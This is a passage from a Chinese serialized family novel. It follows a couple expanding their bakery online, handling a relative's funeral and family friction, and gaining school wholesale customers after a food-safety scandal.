很多网店都没有门面,只要有个地方放货,就能做起来,他们自家有那么大个仓库,就算不租出去,能做的事也不少。 以前考虑出租,只是觉得挣这个钱没那么麻烦而已。 其实如果他们愿意折腾的话,以这仓库为基点,就可以辐射四周,往省城和省城周边开店,每天从这里把东西做好,当天运到店里卖都行。 只是他们并不打算在线下开太多店,首先是线下各种成本比较高,其次目前大概率还会有人捣乱。 但是线上销售,那些人的手伸不到那么远。 到时候她家的合作对象也就食品原料公司、包装公司和快递公司。 这几种公司数量多,竞争大,那几个亲戚也没法从中作梗,哪怕他们也认识一些这三种公司的人,想跟人合伙坑她家,她家转头就能换别家合作,选择多得很。 近几年快递行业发展得也不错,比前几年好很多,当初他们担心的运输问题也差不多解决。 宁绍明早在有客人提出想让他邮寄面包的时候,就开始琢磨保质期比较久、味道又好的面包,陆陆续续地尝试下来,也积攒了好几种。 现在也勉强算来到合适的开网店的时机了。 赵如月和宁绍明商量着做好计划。 没有马上开网店,而是先Q.Q上建了个群,小批量地开始在老客户里试卖。 同时申请网上店铺,一开始店铺等级太低,搜索排行肯定不高,赵如月就先养养店铺,打算养得有点样子,再花钱买网站的推广。 宁时秋和宁时夏发现他们要搞网店后,自告奋勇地表示自己可以帮忙。 他们俩在网上开店挣钱的时间比他们爸妈可早得多,很多东西早就摸索会了,拍照、修图、做详情页、宣传页、商品上架,玩得比赵如月和宁绍明都溜。 最重要的是:“我们有两个皇冠店,直接就能拿来用。” 他们在网上开店的事,赵如月和宁绍明早就知道,但是两人都没干涉,也不经常去看他们的店铺。 毕竟他们做的都是虚拟产品,给别人翻译、带别人打游戏、帮别人解决一些电脑上的小麻烦之类的,完全不需要父母帮忙或者帮衬。 赵如月对他们网店的等级一点不惊讶,倒是对他们把网店拿出来,给她和宁绍明用这事感觉很意外。 “你们不做你们的小生意啦?” 两个孩子都摇头说:“不做了。” 赵如月有些担心起来:“是不是遇上什么事了?需不需要我和你们爸爸帮忙?” 两个孩子又摇头:“不是。” 宁时秋解释道:“老师选我去参加奥数比赛,我去参加培训之后,觉得奥数挺有意思的,下学期打算报个奥数班,继续深入地学习,再加上还有其他的兴趣班,时间就不够用了,钱什么时候都能挣,我可不想以后错过培训和比赛,锯子也跟我一样,而且他还要顾着他家里的事,时间比我还少。” 姚据家里的事,赵如月一家都知道,他们平时不谈论这个,只是会尽量多关心他一些。 最近姚据来她家比以往少了些,赵如月要忙的事多,顾不上问,现在才知道,原来是他家有事。 宁时夏年级太小,在她不缺零花钱之后,也对挣钱这事兴趣就不大,平时都是跟着哥哥们玩。 哥哥们不干了,她就也不想干了,多出来的时间,她还能分到更让她感兴趣的事情上。 比如她的野外生存技能兴趣班。 “少年宫的老师说,我今年可以参加夏令营了,我想在这方面多花点时间多学点东西,提前做准备,”宁时夏兴致勃勃地说,“要是这次夏令营有意思,我以后还想参加别的活动。” 赵如月听完心中了然,原来孩子们不继续在网上做他们的小生意,是因为对未来有了新的规划。 不是遇上事,这她就放心了。 不过孩子们的东西,赵如月和宁绍明也不白拿,两人在工作的间隙,就会想想该给孩子们点什么补偿。 第153章 两个孩子给的两个网店,加上赵如月已经申请的网店,她现在手头上就有三个网店。 两个是可以马上就修改经营范围,上架商品的网店。 虽然现在赵如月对网店十窍只通了九窍——一窍不通,但为了不让店铺空着,赵如月还是在三个孩子的帮助下,先在有皇冠的两个网店上架了一些保质期比较长的东西。 比如宁绍明做的曲奇饼干、牛轧糖、雪花酥、蛋黄酥、桃酥、凤梨酥之类的商品。 其他的东西,暂时还是只在Q.Q群里试卖,主要卖给县城周边、市里和省城的客人。 已经上架的商品详情页、商品图片这些大部分都是三个孩子帮忙做的,这让赵如月和宁绍明十分汗颜。 作为大人,他们跟孩子们接触网络的时间差不多,可是在这方面,会的技能竟然还不如三个孩子。 纵然这其中有他们平时要忙着工作的缘故,但确实也有判断失误的地方,两个人都觉得自己以后不会开网店,然而人生中总有意外。 他们没刻意去往这个方向发展,现实却一步步把他们往这个方向引。 不说刚接触电脑的时候,就说刚买那块地,甚至开始建仓库的时候,家里都根本没人想过,这仓库要自己用。 赵如月和宁绍明不得不在工作之余,又给自己加上网店各项技能培训,他们以后不一定要自己亲自做,但现在想在小县城找到这方面的人才也非常不容易。 找现成的人才,还不如他们先自己学会,再招愿意学的新员工,进行相关技能培训来得快。 当然,网店刚起步的时候,还不需要把职能划分得太细去招员工,这些活肯定得他们自己先做着,打包的事暂时由面包店的员工来负责。 面包店的员工多了这项工作,宁绍明也给她们加工资,现在的年轻人特别能吃苦耐劳,只要能涨工资,她们都愿意多干点活。 赵如月和宁绍明夫妻俩一起学新技能,互相监督、互相鼓励,学得倒是还挺快的,有现成的搭子,学的过程也不觉得枯燥无聊。 只是休息时间难免会减少了一些,两个人又都不想减少休息和陪伴孩子的那点时间。 工作上可以缩减的时间又不多。 这个时候,宁绍明就特别庆幸,自己在招收学徒的时候,教学徒手艺从不藏着掖着,跟他学手艺的人绝大部分都能学到真本事。 现在这些学徒就派上了用场。 网店没特地宣传,但也有一些订单,数量不多,都是那些喜欢在网上购物网站闲逛的网友找到,下单买的。 这部分订单宁绍明就交给了擅长做这些的学徒们来做,还有店里的一些产品,也按照他们擅长的分配给他们做,让他们在学徒工资之外,能多一点收入。 这样一来,宁绍明自己手头上的事就少了。 赵如月则是把自己夜校的一个同学调到老店这边,让那个同学当老店的店长,另一个同学在新店当新店的店长。 她只需要偶尔抽时间去看看,店里不出问题就行。 现在店里一系列章程都是她定下的,订货渠道也在自己手里,她本人又没离开县城,店里想出问题都难。 店里必须由她来解决的事情,也就只剩下一些特别难修,她两个同学都搞不定的有问题的电子设备。 这其实也不是什么问题,难维修的东西,持有者自己也知道需要花的时间会比较多,这个维修日子可操作的区间就比较大,她可以抽空慢慢修。 安排好这些之后,赵如月和宁绍就多出不少时间专注于网上的生意。 在学习阶段,他们拍的照片、修的图不太好,但这些图都是放在Q.Q群里,给实地来过他们店的外地老客户看。 老客户真正吃过他们家的东西,也喜欢吃他们家的东西,所以哪怕图片拍得不太好看,P得非常简陋,也不会影响老客户复购的热情。 仓库原本是按照药材储存的要求去建,储存药材的要求比储存食物的要求要高一些。 现在仓库还用不到,以后要用之前,按照需求改改也没有多麻烦。 仓库即将建好的那天,赵如月和宁绍明按照约定,去那家早就跟他们定好的,要租他们仓库的公司,找负责人谈租借仓库后续的事情。 赵如月心知肚明,当初对方虽然也给的定金,但只是口头说好要租。 由于那时候仓库还没完全建好,对方说要等仓库建好之后,再补合同,赵如月也答应了。 现在那负责人就拿没有签订正式合同来说事。 那负责人的说辞,如果是不知道情况的人,可能还会以为他是想要什么好处,很难会想到有人从中作梗,负责人是助纣为虐,保不齐会给这个负责人送不少礼。 赵如月既然知道了,又不打算按照对方安排的剧目走,当然不会惯着他们:“看来贵公司是打算食言,不想继续跟我们家合作了。” 那负责人耸耸肩,满不在乎地说道:“我可没那么说过,只是提醒你们没有纸质合同的事实,你们非要这么想的话,我也没办法,想要继续合作,那就争取拿到正式的合同吧。” 至于怎么拿,他没说,一脸的只可意会不可言传,你们应该懂得的表情。 赵如月冷笑:“我知道了,那今天我们先告辞。” 那负责人以为他们走这一遭算是了解了自己的态度,之前一直拖着面包店的合作没松口,这次回去后,应该比较识时务了。 他没有注意到,赵如月只是说自己知道了,然后直接告辞。 她完全没有给出任何承诺,连口头上的承诺都没有。 回去后依然迟迟不见松口的迹象,赵如月和宁绍明在网上出货,动静又不大。 毕竟赵如月跟快递合作,这事已经是常态了,没开网店前,她的店铺也有打电话跟她买东西,需要她邮寄出去的客人。 她店里还兼着代收代发快递、代网购的业务。 一开始只跟邮政合作,后来快递行业发展起来,她跟各个快递都有合作,每天各家的快递员都要来一趟。 新开的面包网购业务混在其中,根本不显眼。 直到赵如月和宁绍明的作图技术练得越来越好,三个网店齐发力,线上的单子越来越多,线上买东西的收入比线下实体店的收入多出很多倍。 因为出货量太大,县城的店已经超负荷,需要启用省城郊区的仓库的时候。 那几个觊觎他们面包店的远房亲戚才猛然发觉,赵如月夫妻俩利用别的途径,自己把面包店的生意做大了。 虽然没有开分店,更没有做连锁店,但赵如月家面包店的生意,现在那体量和出货量,已经不是他们当初不太能看得上的两家县城小店小打小闹的样子。 如今连县城官方组织开展的,本地优秀企业家座谈会之类的会议,竟然也邀请了他们夫妻俩。 在本地,他们算是在本地相关部门领导面前挂了号,这可能对外地人来说不算什么,可是外地人来本地,别想欺负到他们头上。 至于仓库那边,只要他们好好做生意,那几个远房亲戚也没本事去动。 他们要是有那在生成只手遮天的本事,也不会在看上她家面包店的前景,想合作被拒接后,不会还需要拐着弯,装腔作势一番唬住她妹妹,才敢耍手段。 最后还连累得那个跟赵如月家做了口头约定,后面却拿捏架子的负责人吃了挂落。 升职这事,他在近期内肯定是没机会了,除非给自己公司立了大功,才有可能升职。 那个负责人所在的企业,正要从外面找合适的仓库储存一批即将到达的药材。 本来他公司的仓库就不太够,转为储存药材建造的仓库更是不多,就算以前有,那也被本地大部分跟与他们公司差不多,甚至更厉害的企业瓜分完了。 公司正急需仓库用,他却把好端端的合作搞吹了,现在上哪去找这样专门为储存药材建造、价格又这么公道的仓库? 这负责人跟他姐夫碰头后,提起姐夫让自己为难赵如月夫妻俩的事,难免会抱怨几句,话里话外是自己为了帮姐夫忙,才会丢失这么好的升职机会,还在领导那里落下了不好的印象。 一开始他说的时候,亲戚朋友都向着他,可后来他说得多了,又因为工作上的不顺,反反复复地说,很多人就觉得烦,听的人如果是跟这件事相关的人,难免会心里不舒服,尤其是当事人。 两人因为这件事,竟然闹掰了,期间那负责人的姐姐在中间充当和稀泥的和事佬,想劝他们都让一步,结果越劝矛盾越深。 发展到后面,双方几乎老死不相往来了。 赵如月那几个亲戚,也因此失去了这一个倚仗,就更没资本来觊觎她家的生意了。 不过防人之心不可无,赵如月也加强了仓库那边的安保。 仓库启用后,赵如月和宁绍明就按照需求,设置出一些岗位,招了好几个员工。 有些员工,老板简单跟她说几句,需要她学习什么,以后做什么,就能很快学会并且上手。 有些是真不行,不知道怎么回事,不管怎么教都不会,这样的就只能安排最基础的打包工作。 好在他们这还不需要那么多聪明厉害的员工,搬货、卸货、打包这些重复性强、不太需要脑子的体力工作需要更多,他们还不至于在有人反复地去教的情况下,还学不会。 仓库这边,赵如月和宁绍明跟接送孩子的时候差不多,谁有空就谁就去仓库那边看看。 这天轮到赵如月去仓库那边,车子开到一半,有人打来电话。 赵如月开着车不好拿起手机看,宁绍明又没跟她一起来。 她就暂时没接那电话,想着等自己到了仓库,再给未接来电复电。 谁知电话铃锲而不舍地挂了又想响。 赵如月只好把车子靠边停下,拿起手机一看,竟然是宁时春。 宁时春一般没事是不会这个时候给她打电话的,有事也多是去找宁绍明,宁绍明就会私下跟她说。 更是从来没有重复给她打过那么多电话。 赵如月心想,这个时候打这么多电话,肯定是有急事了。 电话铃声又响起,赵如月这次刚接起电话,还不等她说什么,电话那一头就传来了宁时春沉重的声音:“三婶,我爸走了,你跟三叔今天能赶回来吗?” 第154章 “我现在就赶回去,你三叔的电话打不通吗?”赵如月问。 宁时春说:“对,我给三叔打了好几个电话,都没打通,我跟佳佳都在镇上,大姑也在,说是等你们和二叔二婶还有其他亲戚回来了,再商量什么时候送去火葬场。” 赵如月想起宁绍明说今天要试试新的配方,估计在厨房里捣鼓东西太入神了,没注意到手机铃声。 宁绍贤的生病进入倒数这件事,知道内情的人都早已有了心里准备。 只是没想到,他走得竟然比想象中的还要快。 明明前段时间,她跟宁绍明回去探望公婆的时候,宁绍贤看起来状态还挺不错的,脸上没有多少灰败的样子,还说感觉这段时间的药吃着挺有用,下次去医院复查,还让医生给自己开那个药。 赵如月赶回县城的时候,宁绍明果然还在新店的操作间里干活。 他的手机放在外面的包里,专注于手上的工作时,铃声又被包和房间隔开,传到操作间的声音很容易被忽视。 赵如月进进来的时候,宁绍明还觉得奇怪:“你不是说今天要去仓库那边看看,怎么那么快就回来了?” 今天是星期六,遇上星期六和星期日,家里孩子去市里上兴趣班,一般他们都是在仓库那边待到下午,再直接从仓库那边开车到市里的少年宫,接上孩子回家吃饭。 赵如月:“小春给我打电话,说你大哥没了,让我们赶紧赶回去。” 宁绍明一愣,半晌才回过神来:“我大哥……没了?前段时间我们回去的时候,看着还挺好……” 他本来以为,至少还能坚持几个月,他大哥可能会因为那个病,慢慢虚弱,渐渐地站不起来,走不了路,然后起不了床,最后实在连饭都吃不下了才会离开。 那天回去的时候,他看宁绍贤精神头确实还挺不错,在街头街尾到处溜达,跟人侃大山,完全不像要死的样子。 赵如月跟他有一样的疑惑,但是他们在这里猜来猜去也猜不出个所以然来:“回去就知道了。” “也是,我洗洗手,让人来接手剩下的活,你找个地方坐着等等。”宁绍明把手洗干净,跑去拿出手机,上面果然有不少宁时春的未接来电。 他给宁时春回了个电话,就赶紧给今天休息的学徒打电话,让人来接手自己的活:“这次算加班,等我的事办完,回来再给你多放两天假,跟星期六星期日一起连放。” 接到电话的学徒一听这话,立马赶来了,加班有三倍工资呢,他帮了这个忙,老板回来肯定还会给他发个红包。 等连放假好几天的时候,刚好能拿这加班的钱和红包钱出去旅游! 接替干活的学徒来得很快,宁绍明叮嘱了他几句需要注意的地方,就跟赵如月往回赶。 他们回去得急,就没记起来要去学校接孩子。 到了镇上才想起这事,好在送去火葬之前,没什么需要晚辈做的事,可以等晚点再找机会去接。 晚上开始吹吹打打办丧事之前,他们家孩子及时到场就行。 赵如月和宁绍明到老宅的时候,宁时春正在给宁绍德打电话,不管以前闹过什么矛盾,宁绍贤好歹也是宁绍德的亲哥。 他们两家也没断亲,互相之间是有走动的,尤其是宁绍贤从牢里出来之后,更是因为心里不满宁时春更听宁绍明的话,而故意跟宁绍德一家走得更近,来往得也比他蹲大牢前更频繁。 只是宁绍德同样嫉妒宁绍贤在镇上还有房子,能搭上镇上街道改景区的车,自己却失去了这个机会,同时也看不起宁绍贤坐过牢,所以对于宁绍贤主动的靠近,他当宁绍贤是上赶着巴结自己,根本不怎么搭理。 宁绍贤本来也不是那能受气的人,热脸贴了几次人家的冷屁股,没得到想要的回应,心里很不爽。 后来就没怎么贴上去了,但是今年过年的时候,两家也还有正常的人情往来。 那时宁时春给他们送的年礼是好东西,补品、水果、干货之类的都有。 他们的回礼是街上随便买的米粉、红糖、米糕之类的东西,宁时春也没说什么。 可现在宁时春给宁绍德打电话,宁绍德和叶菁却借口宁绍德身体不好,说没法来了。 宁时春劝了又劝,求了又求,他们夫妻俩才终于松口,说自己会回来。 宁时春悬着的心正要放下,就又听到叶菁问:“丹洁年纪还小,什么都不懂,去了也帮不上什么忙,不但影响学习,还可能给你们添乱,我就不让她去了行吗?” 她觉得带孩子回来麻烦,而且这么小的孩子,去了也干不了什么,还不如留在家里继续上学,过几天她女儿还有个竞赛要参加呢。 宁时春被这话气了个仰倒,但还是压着火气,耐心地说:“二婶,虽然丹洁年纪小,但她跟我是同辈,不来的话,是不是不太好? 到时候她晚上不守灵也行,现在丧事简化了很多,没那么多讲究,也不像以前那么麻烦。 办丧事的日子也就三天,只有这三天不能沾荤腥,而且第三天清晨送我爸出殡下葬后,回来就能脱麻衣除孝,她第三天当天上午直接回去上课都行。” 王海燕红肿着眼睛从房间出来,听到宁时春的话,冲过来问:“怎么回事?” 宁时春本来不想让他妈知道,但有个亲戚在旁边听到了一些,心里对宁绍德夫妻俩这样很是看不过眼,对宁时春道:“这事你年轻人搞不定,得让你妈来。” 接着就给王海燕说刚才他们在电话里说什么,完了还说道:“不管小春他爸以前怎么样,现在人都走了,他是丹洁的亲大伯,于情于理丹洁都该来送一程才是,亲大伯去世都不来,像什么话!” 王海燕一听就气炸了,在乡下大事也就是婚丧嫁娶、生娃过寿。 她觉得老二这一家子,在这种大事上不来,就是不给自家面子,也是看不起自己全家,这可还得了! 王海燕直接抢过宁时春的手机,对着手机那头不管不顾地大骂:“丹洁一个小学生,三天不上学能影响什么学习?! 我告诉你们,她要不来,你们也不用来了! 你们两口子少给我叽叽歪歪,爱来不来!不来我转头就把小春结婚的时候,你们给的礼钱退还给你们! 从今往后我们两家也老死不相往来! 你们是觉得,你们家以后一辈子都遇不上这种婚丧嫁娶的大事,到时候不需要亲戚小辈去帮忙了是吧? 以后宁老二死了,我肯定也不让我家小春和丹萍去,也不许你们埋在我们家地里,我说到做到! 我倒要看看,你们家这么办事,到时候还有谁愿意去帮衬你们!” 王海燕一通骂,比宁时春又劝又求说了半天,说得口水都干了都有用得多。 两个小时后,宁绍德夫妻俩赶到了镇上,没敢不带宁丹洁。 毕竟当年他们兄弟三个分家的时候,因为有铁饭碗工作,户口早就转到他单位,就不能分地。 如果他不想花钱买公墓,确实要回老家跟老家人商量,以后在老家的地上找一块风水好的地方埋。 要是他没跟宁绍明闹翻的话倒是能有其他选择,可是偏偏他当初算计人家的时候,没想到这一茬,现在就尴尬了。 分家的时候可没在分家协议里黑子白字写清楚,老大和老三一家拿了地,必须给他们准备好以后埋的地方。 于是宁绍德夫妻俩,既打从心里看不起老大一家,为了这事,又不得不给老大家面子。 至于自己花钱买公墓,那是万万不可能的,别看宁绍德和叶菁的户口早早就转到了城里,成为城市户口。 可人的观念却很难改变,在他们看来,自己过世之后,能回老家安葬才是落叶归根,更别说他们还不想花钱。 宁绍德知道自己那个病犯过一次后,有很大的概率会复发,他距离死亡可不算遥远,王海燕说不让她家小辈去可真是直戳他痛处了。 他没儿子,要是到时候侄子也不来,他都不敢想那场面有多寥落。 叶菁看到赵如月身边没带着宁时秋兄妹俩,本来还想说几句,问问王海燕是不是区别对待。 宁绍德察觉她的意图,扯了扯她,示意她别乱说话。 本来他们今天就够得罪人了,现在谁不知道老大家为老三家马首是瞻,她在这里挑老三家的事,可没人会帮她说话。 叶菁不服气地小声说:“你扯我干什么?就许他们放火,不许我们点灯?” 宁绍德语气酸溜溜地跟她嘀咕:“你不看看外面停着的车,人家现在发达了,有两辆小汽车,想什么时候去接孩子不行?哪像我们家,就一辆破摩托车,开起来铁包肉,风吹日晒的。” 听到他这么说,叶菁心里也泛起酸来,也暗暗埋怨宁绍德以前做的那些事,要是他能沉得住气,婆婆就不会发病,婆婆要是还在,就算一时生他们的气,很快也会气消,继续帮衬他们家。 宁绍德自己也不会发病,不会被调到闲职,家里日子不会那么难过。 可惜现在说什么都晚了。 等近亲都来齐了,宁时春就跟王海燕,还有两个叔叔一起,给宁绍贤擦身体,换上体面的新衣服。 然后把人装进提前准备好的棺材里。 他们给宁绍贤遗体收拾体面的期间,赵如月开车去县里买办丧事要用的东西,顺便接自家的两个孩子。 等他们给宁绍德收拾好之后,火葬场的车也来了,赵如月带着两个孩子直接从县城去火葬场跟他们汇合,等骨灰烧好了,再一起回家。 在排队等待的期间,赵如月跟王海燕聊起来,才知道宁绍贤怎么会那么突然就走了。 原来他发现了自己的病不是良性肿瘤,而是癌症晚期,就算在怎么挣扎,自己没多少时间可以活。 不得不说,在生病时,一个人的精气神也是非常重要的。 在知道自己是癌症晚期,没法治好之后,宁绍贤整个人就跟泄了气的皮球似的,一下子瘪了下去。 很快就从还可以溜达的样子,情况急转直下,一下子躺床上没法起来了。 还觉得骨头痛,甚至浑身都觉得痛。 本来吃着还有效的止痛药,这时候也觉得没用了。 短短三天之内,他再也吃不下任何东西,身体和精神就这么一天天衰败下去。 王海燕和宁时春找了赵如月的三叔来看,镇上的医生也找了,可他们看过之后都摇头,说没办法了,人的精气神没了,又身患绝症,没必要再花钱折腾,让他们准备丧事。 人还没去的时候,他吃不下东西,全靠镇医院的护士来输液,直到连输液都输不进去,人就这么走了。 对于宁绍贤的离世,最接受不了的人是宁达。 宁绍贤去看病回来后,其他人担心他受不了,也没告诉他真相,他也乐观地以为大儿子的病能好。 毕竟是自己亲生的孩子,从那么小一个,养到这么大,就算养的是条狗,这么多年也有感情。 猝不及防之下,得知那病不是良性而是晚期,儿子真要死了,宁达一时接受不了,也跟着病倒了,宁美婷就留在家里照顾他和黄秀华,没跟着去火葬场。 而黄秀华不知道是不是也能感知到大儿子没了。 宁绍贤的遗体被送到火葬场后,她在家里就频繁地念叨起宁绍贤的名字。 看到宁绍明和宁绍德,也对着他们叫宁绍贤的名字,直到赵如月让宁时秋过去陪着她,她才没再继续频繁地叫宁绍贤的名字。 叶菁见到这一幕,心里酸溜溜的,心想如果自己家的也是儿子,今天哪有老三家儿子出风头的份! 她心中不平,但是到了晚上,宁时夏和宁丹洁这样年纪小的孩子不用守夜,十二岁的宁时秋要守夜,她又开始窃喜自己家孩子不用遭这个罪,还撺掇着宁丹萍跟宁时夏去宁时夏镇上的家睡。 小孩子不懂大人那些弯弯绕绕的小心思,宁时夏跟宁丹萍关系不错,她还是很欢迎宁丹萍去自己家的。 其实叶菁完全不用算计这个,宁丹洁只需要跟宁时夏说一声,宁时夏就会答应。 第二天,两个孩子继续回来宁绍贤的灵堂前守孝。 叶菁找了个机会,私下悄悄问宁丹洁,宁时夏家里都有什么,她房间是什么样,里面又有什么好东西之类的,问得特别详细。 宁丹洁心里觉得很不舒服,但又说不上为什么。 她不想说,可不说她妈妈又会生气,只好一五一十地告诉她。 但是这天晚上,叶菁再让宁丹洁去宁时夏家睡觉。 还说她去宁时夏家的时候,看上什么,只管问宁时夏要,反正她三叔家有钱得很,肯定不在意给她这一星半点,他们大人沾不上光,老三夫妻俩总不会跟小孩子计较。 可宁丹洁这个年纪也知事了,这次说什么都不愿意再去。 叶菁气得想动手打孩子,可宁丹洁一溜烟跑到了别的亲戚身边,她顾忌着面子,不想在亲戚面前丢脸,只好暗自狠狠瞪了宁丹洁一眼,先把气憋回去。 宁丹洁看着她的反应,心中若有所思。 第155章 在宁绍贤葬礼剩下的时间里,宁丹洁认真地观察,其他人在场的时候,跟没有其他人在场的时候,她妈妈是什么表现。 然后她就发现,有外人在场的时候,她妈妈总是会装作是贬低她,实际上炫耀她的一些优点。 而且只要有外人在,她就不会轻易对自己发火,更不会一生气就动手打她。 宁丹洁在意识到这一点之后,硬生生改掉了自己怕生,不爱跟不太熟悉的人接触的性格。 尤其在不太熟的亲戚面前,以前她总是能避开这些亲戚就避开,叶菁回家后没少骂她小家子气、上不得台面。 她之前才会在电话里问宁时春,能不能不带宁丹洁来,这孩子在亲戚亲戚面前不太会来事儿,也是原因之一。 宁丹洁突然之间变得在亲戚面前这么会来事,这大大满足了叶菁的虚荣心,叶菁完全没意识到孩子突然有这么大的转变,是不是出了什么问题。 只觉得这次她被逼着带宁丹萍来参加宁绍贤的丧事,竟然因祸得福,这件事在她看来也不是那么难以接受的事了,毕竟现在孩子能给自己长脸。 至于孩子回家后变得更不爱说话,喜欢自己一个人待着这点,对于叶菁和宁绍贤来说更加不算什么需要重视的事。 毕竟宁丹洁以前回家,要么自己看书,要么帮叶菁做点她从工业园一些厂里接的,缝珠子亮片的手工活,给家里挣钱,这在他们看来都是懂事的孩子应该做的。 老三家那两个孩子不也帮家里干活么,只是做的事情不一样而已,老三家孩子以前甚至还跟老头子一起出去捡破烂,他们觉得自己家丹洁在家帮忙还能坐着,多轻松啊。 可他们只看到人家的孩子帮忙干活,却没看到人家的孩子干完活,人家家长给多少零花钱,人家孩子挣的钱,大人也没要。 就算赵如月和宁绍明以前还在苦兮兮打工的时候,也不会一点零花钱都不给孩子,更不会要孩子自己攒下来的钱。 赵如月听宁时夏说,宁丹洁没有零花钱,只有过年时能自己留下一点点压岁钱当零花钱,还挺惊讶的。 毕竟宁老二夫妻俩再穷,也不至于给不出孩子每天几毛的零花钱,现在的孩子对零花钱的要求也不高,每天给个三五毛钱孩子都很开心的。 宁时夏还说,宁丹洁要买什么都得先申请,每一分钱花在哪里,全都要详细地跟父母说清楚。 比如她要买铅笔,就得先申请,不能虚报,也不能卖太贵的,一支铅笔三毛,如果她爸妈有三毛,绝对不会多给一毛。 如果给五毛,找回来的两毛,也得带回来给父母,换做大部分父母,剩下的两毛钱,可能就直接给孩子,让孩子自己买点零食吃了。 “不行的,”宁时夏又说,“丹洁姐说,二伯和二伯娘不许她买零食,说那些都是吃不饱的玩意儿,花钱买不划算,买了都是浪费钱,家里又不是吃不饱饭,没必要吃那些。 丹洁姐自己有一点压岁钱,也不能花自己的钱买零食和课外书,她的压岁钱都是有数的,买什么也得详细地记下来,二伯娘和二伯会查账,要是买了他们不让买的东西,他们会生气打骂孩子。” 宁时夏说着都忍不住抖了一下。 她见过二伯娘板着脸瞪堂姐的样子,那个表情特别阴森可怕,好像看仇人一样。 赵如月都不知道该说什么,只好说道:“那以后丹洁来找你玩,你多带点她喜欢吃也能吃的零食,不过给别人吃东西,得提前问清楚别人吃了会不会不舒服再给。” 她家是跟宁绍德夫妻俩不来往了,但孩子是无辜的,孩子之间玩得好不只因为她们事亲戚,还因为她们之间又友谊,要不然那么多亲戚,不见得互相之间都能玩得来。 宁时夏点头:“我知道的,我每次都给丹洁姐带书和好吃的,她也悄悄给我带过,有时候丹洁姐的舅舅阿姨家会给她家送零食,这时候二伯娘和二伯就让她吃零食了,妈妈你说怪不怪。” “确实挺怪的。”赵如月知道怎么回事,却不好对孩子说。 无非就是家长不想给孩子花钱。 别人送的不用花钱,当然会让孩子吃了。 虽然觉得宁丹萍有点可怜,但那是别人家的孩子,她也管不着,况且这种事说出去,有些人可能还觉得父母做得对,她自家的事都忙不完呢。 原本前几天就要去仓库那边看看,因为宁绍贤去世回来帮忙办丧事耽搁了几天。 送宁绍贤出殡下葬后,又在老家待了一天,第四天就赶到了仓库那边。 刚到仓库,到处看了看,就有负责客户的员工来找她:“老板娘,你可算来了,有几个人来了好几次,想找你谈进货的事。” 自从遇到那几个远房亲戚的事后,赵如月听到有几个人找自己,都有点应激了,担心又遇上那种人。 好在这次不是,来找她的是附近一个高中小卖部的负责人,按理说小卖部开在学校里面,在学校里算是独门生意,根本不缺客人。 那些有点钱的学生一下课或者一放学,跑小卖部的速度不要太快,东西根本不愁卖。 什么东西想进学校小卖部卖,还得塞钱走关系才行,那个高中小卖部的负责人会主动来找,让赵如月挺惊讶。 她招待人之前特地去打听了一下,又去看最近的本地报纸和电视台,这几天忙着老家的事,她也没顾上看。 这一看就大概知道怎么回事了,原来是那个学校出了食品安全问题,而出问题的正好是小卖部里卖的面包。 电视台有个节目还对这件事做了特别新闻报道,新闻标题就是——自未来穿越而来的‘面包’。 起因就是,本来很多孩子买东西都没有看生产日期的习惯,但偏偏有个学生在那个小卖部买面包后,突发奇想看了一眼生产日期,发现自己买的面包,日期竟然是三天后。 跑去小卖部询问,被小卖部的售货员嘲讽了。 这下售货员算是捅了马蜂窝,学生们听话的时候很听话,较真的时候也是特别较真,又是容易热血上头的年纪。 那个学生受了委屈,回到班级跟朋友和同学一说,她的同学和朋友就跟她一起去找老师反应。 结果问题反应上去后,老师只说一句已经跟领导说了,就没有了下文。 迟迟得不到满意的答复,这些学生一气之下,就给本地电视台的新闻栏目写信,把这事捅出去了。 因为现在的孩子又多是独生子女,几乎每个都是家里的宝贝疙瘩,关注这事的家长很多,在省城引起了广泛的讨论。 现在上面非常重点关注学校里学生的饮食问题。 原先跟小卖部合作的面包供应商,肯定没办法继续给小卖部供货了。 有那么多双眼睛在明里暗里地盯着,小卖部的负责人也不能再搞什么暗箱操作,只好正常去找其他让学生和家长都满意,价格也比较便宜、利润空间比较大的供应商。 找来找去,就找到了赵如月这里。 首先她这里离那个高中非常近,面包当天做出来,当天早上过来拿都来得及赶在早读前上架,卖给早上想买面包吃的学生。 同时这也就意味着,小卖部那边可以每次少进一些货,当天不够卖的话,还能临时过来拿货,不用压货,可以保证面包每天都是新鲜出炉的。 其次由于这边网店做起来了,每天出货量很大,有个人买家在她家网店少量买的,也有在她家网店少量买过后,找客服问能不能大量批发,自己再通过各种形式零售,挣个差价。 在她家大量批发的客人各个地方都有,现在很多做实业的企业还没把目光投向互联网,她家在这方面比辐射到周边的厂家有优势。 产品只在周边的市场出售,出货量肯定跟她家不是一个量级,她家的东西,成本就能压得比他们低不少。 另外,那个高中的小卖部负责人也觉得,很多只家长们和学生们知道面包是哪里生产的会更放心。 赵如月的这个仓库原先不做线下业务,但既然有人主动把生意送上门来,她也不会往外推。 只是她知道有些供应商为了能拿下生意,会特地给某个进货的单位设置专门的优惠。 见到那个负责人的时候,见那负责人隐晦地谈起,有多少供应商眼馋学校小卖部里的货架位,想方设法地要进来。 赵如月没有拐弯抹角,直接就开门见山地跟对方说:“我家也有孩子,看在学校里那些学生的份上,你们要进货,不管进货量多少,我都可以保证,绝对按照我们给进货量最大的批发商的价格给你们,但是想要专门的优惠,那我们可能没办法做到。” 她家仓库每天出货量那么大,就算是文职工作人员也挺忙的,只为他们一家专门设置一个价格,肯定会给文职文员和财务增加工作量。 可学校小卖部这边的收入,在线下看来还行,跟网上的单子比起来就不够看了,不值得让她花费太多心思,让员工增加原本不必要的工作量。 如果是整个省城所有中小学里的小卖部的进货量,她可能还会考虑一下。 但这可能吗? 第156章 省城所有中小学都去她那里进货的事,不可能发生,倒是这一单生意之后,赵如月这里多出来不少线下的订单。 原因是那个高中小卖部的负责人,本来听赵如月那么说,心里还有点不太舒服,毕竟以前被那些想入驻学校的供应商奉承过。 但是在看到她给的批发价的那一瞬间,他心里那点不舒服,就全都消散了,后来还给她介绍了不少生意。 虽然没有把去省城所有中小学小卖部都拿下,但也有不少小卖部和周边的单位来跟她拿货。 因为赵如月能给到的批发价,竟然比以前奉承他的供应商专门给他设置的优惠价格还要便宜! 而且她家的东西是肉眼可见的质量好,生产操作间也很干净,所有工人都带着口罩,穿着干净的工服,该戴手套的时候都会带手套。 各方面综合来看都比以前的供应商优质许多。 只是有时候做生意,不是东西好就能有客户,有些手头上有点权利的人,就是喜欢要点好处。 那个负责人隐晦地表达出了这个想法后,赵如月原本不太想接这单生意了,但是对方经历了校园食品安全事件后,还能安然无恙,想来靠上不小。 